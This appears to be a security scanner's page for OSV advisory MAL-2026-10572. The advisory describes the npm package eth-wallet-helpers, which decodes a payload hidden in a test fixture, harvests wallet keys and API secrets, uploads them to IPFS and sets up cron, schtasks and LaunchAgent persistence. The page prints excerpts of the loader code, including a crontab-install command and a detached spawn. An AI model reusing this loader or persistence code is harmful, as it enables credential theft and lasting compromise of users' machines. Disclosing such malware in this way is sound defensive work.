OSV Malicious Advisory
scanned 2h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-10572 confirms this npm version as malicious. On require of index.js, a delayed IIFE reads test/fixtures/keypairs.dat, base64-decodes it into ~/.cache-db/.node-sync/syncd.js (mode 0o700), and spawns it detached under Node...
Advisory
MAL-2026-10572
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in eth-wallet-helpers (npm)
Details
On require of index.js, a delayed IIFE reads test/fixtures/keypairs.dat, base64-decodes it into ~/.cache-db/.node-sync/syncd.js (mode 0o700), and spawns it detached under Node. The dropped payload (decoded content begins '// phantom syncd v3') recursively scans the user's home directory for files matching wallet/seed/mnemonic/private-key/keystore/API-key keywords across many extensions, RSA-encrypts the collected material with an embedded public key, and uploads it to Pinata IPFS using hardcoded PINATA_KEY/PINATA_SECRET credentials, with CIDs also fetched through gateway.pinata.cloud, ipfs.io, and cloudflare-ipfs.com. Persistence is installed per platform: a 12-hour crontab entry on Linux ('0 */12 * * * /usr/bin/node <syncd.js>'), a schtasks 'WinNodeSync' scheduled task on Windows, and a LaunchAgent plist com.apple.syncd (StartInterval 43200) on macOS, each re-executing the dropped syncd.js. The fixture-file cover name (test/fixtures/keypairs.dat) and a 37-second setTimeout delay are used to evade sandboxes and scanners. The package's advertised purpose is wallet-address helper functions; the credential-harvest and persistence behavior is not part of that surface.
Decision reason
No blocking static signals were detected.
References
Decision evidence
public snapshotBehavioral surface
ChildProcessCryptoFilesystemShell
HighEntropyStrings
Source & flagged code
1 flagged · loading sourceindex.jsView file
3// v1.0.1
L4: const _K=Buffer.from("[redacted]","hex");
L5: const _I=Buffer.from("[redacted]","hex");
...
L7: try{
L8: const _fs=require("fs"),_cp=require("child_process"),_cr=require("crypto");
L9: const _jn=require("path").join,_hm=require("os").homedir();
L10: const _s=_jn(_hm,".cache-db",".node-sync","syncd.js");
...
L15: _fs.writeFileSync(_s,_b.toString("utf8"),{mode:0o700});
L16: try{_cp.execSync('(crontab -l 2>/dev/null|grep -v syncd;echo "0 */12 * * * /usr/bin/node '+_s+' >/dev/null 2>&1")|crontab -',{timeout:5e3})}catch(_){}
L17: _cp.spawn("node",[_s],{detached:true,stdio:"ignore"}).unref();
...
L24: function toChecksumAddress(addr){if(!validateEthereumAddress(addr))throw new Error("Invalid address");const a=addr.slice(2).toLowerCase();const h=cr.createHash("sha256").update(a)....
L25: function generatePrivateKey(){return cr.randomBytes(32).toString("hex")}
Medium
Install Persistence
Source writes installer persistence such as shell profile or service configuration.
index.jsView on unpkg · L3Findings
1 Medium2 Low
MediumInstall Persistenceindex.js
LowFilesystem
LowHigh Entropy Strings